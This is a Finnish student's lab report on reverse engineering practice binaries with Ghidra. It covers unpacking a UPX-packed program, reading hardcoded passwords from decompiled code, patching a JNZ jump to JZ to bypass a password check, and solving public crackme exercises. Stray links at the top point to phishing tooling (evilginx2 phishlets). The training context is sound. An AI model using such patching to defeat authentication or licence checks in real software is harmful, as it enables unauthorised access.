https://github.com/kgretzky/evilginx2 https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/ https://github.com/mininet/mininet (yleis-distro - tässä käytetty opettajan luomaa) https://github.com/ArchonLabs/evilginx2-phishlets/

Mininetin komentojen luonnissa käytetty apuna gemma3:27b järjestelmää. Kääntäjänä toiminut ollama.

http://ollama.com/ https://ollama.com/library/gemma3:27b

Marked toimii md muuntimena sivulla. https://github.com/markedjs/marked

Sivuston kuvat optimoitu https://optimage.app

Käytetty aika ohjelmistojen tutkimiseen, opetteluun, konseptien ymmärtämiseen ja raportointiin 5h 30min

Lohikäärme ghidra, C ja koko tarina

Tässä raportissa tutustumme ghidraan työkaluna, käänteismallinnamme ohjelmia ja selvitämme käännettyjen binäärien toimintatapaa.

Kalilla ghidran asennus kävi helposti

sudo apt-get install ghidra

Sisältö

Ensimmäisenä kuitenkin Lyhyesti Ghidra - John Hammondin youtubesta.

Ensin tutkii file, strings, strace, objdump ja ltrace komennoilla löytämättä mitään. Ghidralla hän löytää hexaluvun 0x86187 joka kääntyy ’549255’

packd ja passtr

Viime viikolla tutustuimme ja obfuskoimme packd/passwd ohjelmia. Koitetaan nyt kääntää näitä ghidralla.

Sisältö Sisältö

Importtasin ja käänsin packd ohjelman sellaisenaan ja hämmennyin, koska en nähnyt selkeästi main ohjelmaa, tai mitään sen tapaista. Vaikka tiedänkin jo binäärin viime viikosta, en saanut sitä mitenkään luettavaan muotoon.

Sitten muistin tunnilta, toinen oppilas oli käyttänyt upxää ensin binäärin purkuun. Eli

upx -d packd

Tässä käytetään -d / decrompress muotoa joka purkaa ohjelman luettavaan muotoon. Paljon kätevämpi tapa kuin viime viikon RAM etsintä. Tallenna _purettu nimellä.

Sisältö

Sitten vaan ghidralla import->lohikäärme.

Main löytyi heti ja ajettava ohjelma.

Korjattu logiikka

Käyn koodin toimintalogiikan mistralini kanssa läpi. Teenpä siis muutoksia muuttujiin seuraavasti. Tämän jälkeen selitetty toimintalogiikka.

local_28 → sanasala: salasana muuttuja käyttäjälle iVar1 → tarkistus: pöydän tulos

Yritin myös etsiä ...201d muotoilua koodista, mutta tähän hätään en löytänyt sitä. Ymmärrän, että tämänkin pitäisi(?) löytyä tuolta merkkijonona. Olisi varmaan ihan kätevä debuggaukseen tietää esim. monta muotoa pitkä tuo olisi.

Korjattu logiikka kuitenkin seuraavasti.

Korjattu logiikka

Ohjelman toiminta vaiheittain:

Syötteen pyyntö: Ohjelma tulostaa käyttäjälle kehotteen, jossa pyydetään salasanaa.

Syötteen lukeminen: Käyttäjän syöte luetaan __isoc99_scanf-funktiolla. Funktio käyttää muistiosoitteessa DAT_0010201d sijaitsevaa muotoilumäärettä ja tallentaa syötetyn merkkijonon password-muuttujaan.

Salasanan vertailu: strcmp-funktio vertaa password-muuttujan arvoa ohjelmaan kovakoodattuun merkkijonoon piilos-AnAnAs. Vertailun tulos tallennetaan checker-muuttujaan. Ehdollinen tulostus: Ohjelma tarkistaa if-else-rakenteella checker-muuttujan arvon.

Jos arvo on 0 (salasanat täsmäävät), käyttäjälle tulostetaan onnitteluviesti ja lippu.

Jos arvo ei ole 0, käyttäjälle tulostetaan "Sorry, no bonus.".

Passtr ohitus

Seuraavaksi sama passtr binäärille. Toimintalogiikka on sama.

passtr

Tehtävänä on ratkaista tämä ohittamalla ohjelman toimintalogiikka meidän omalla. Eli lähdetään etsimällä string: ’password’ muistista (pikanäppäin s).

passtr

Avaan myös kohdan windows - function graph niin näen tapahtumataulun.

passtr

Taulun viimeinen tapahtuma on JNZ hyppy jossa hypätään ilman nollaa kohtaan jossa salasana on oikein.

Eli vaihdetaa Jump non zero = jump zero. Jolloin toimintalogiikka olisi päinvastainen. Ainoastaan oikea salasana ei toimisi.

Patch instuctions = JZ

passtr

Tämän jälkeen exporttasin, annoin toimintaoikeudet ja testasin toimivuuden.

Toimii

Toimii

Nora CrackMe

1

Seruraavaksi yritetään selvittää Noran CrackMe tehtäviä.

Gitillä sisään ja lähdetään. Mukana on pelkät C-sorsat joten ykkönen pystyyn komennolla.

gcc crackme01.c -o crackme01

Ohjelma 01 pyytää argumentin, joten lähdetään selvittämään. Crackme01

Ghidralla auki ja mainista näemme, että ohjelma kysyy salasanaa ”password1”.

Crackme01 Crackme01

Joka toimii.

1e

Oli sama, mutta salasanassa piti käyttää ’!’ pelkän ! tilalta. Crackme01e

2

Auki ghidralla ja toimintaselvitys Mistralilla.

Crackme02

Tässä siis (osin mistralin kautta selvitys) ’if (param_1 == 2) {’ varmistaa, että käyttäjältä tulee TASAN yksi salasana-argumentti. Muuten tulee virhe 0xffffffff.

Salasana vertaillaan ja jos lukumäärä on oikein, ohjelma aloittaa iteroinnin merkkijonon ”password1” läpi ja vertaa jokaista merkkiä käyttäjän antamaan salasanan vastaavaan merkkiin.

Kohdassa if ("password1"[i] + -1 != (int)*(char *)((long)i + (long *)param_2 + 8)) { printf("No, %s is not correct.\n", *(undefined8 *)argv + 8); return 1; }

vertailun tulos on oltava -1 merkistä, tai ohjelma lopettaa.

Voidaan periaatteessa vaihtaa param_1 ja _2, mutta sillä ei niin väliä. Local_c on selvästi i. Tehdään se.

Crackme02- korjattu

Eli kyseessä on ASCII merkkijonosta joka täytyy muuttaa suunnassa -1. Jolloin jokainen merkki pitää muuttaa yksitellen. Pyydän Mistrallilta pelkkää merkkijonoa ilman kommentteja.

p	112	111	o
a	97	96	`
s	115	114	r
s	115	114	r
w	119	118	v
o	111	110	n
r	114	113	q
d	100	99	c
1	49	48	0

Eli vastauksessa muistettava erikoismerkin eteen \ = o\’rrvnqc0. Myös ’sisään’ käy.

Crackme02- korjattu

Ja sehän toimi!

Kommentit

Ghidra on todella hyvä työkalu ja vasta tässä parin viikon jumppaamisellakin ymmärtänyt sen tärkeyttä. Näitä ollut kiva ratkoa.

Lähteet

Teron binäärit https://terokarvinen.com/sovellusten-hakkerointi/

John Hammond - Ghidra https://www.youtube.com/watch?v=oTD_ki86c9I

Dokumentissa käytetty apuna C-koodin ymmärryksessä ja ASCII taulukon tekemisessä LLM mistra-small3.2:24b mallia. Rautana käytössä ollut Macbook pro m2 max 64gb ja kääntäjänä LM-studio. https://huggingface.co/mistralai/Mistral-Small-3.2-24B-Instruct-2506 https://lmstudio.ai

UPX https://upx.github.io

JNZ selvite https://stackoverflow.com/questions/14841169/jnz-cmp-assembly-instructions

Crackmes tehtävät https://github.com/NoraCodes/crackmes

Kuvat optimoitu https://optimage.app

Käytetty aika 3h 20min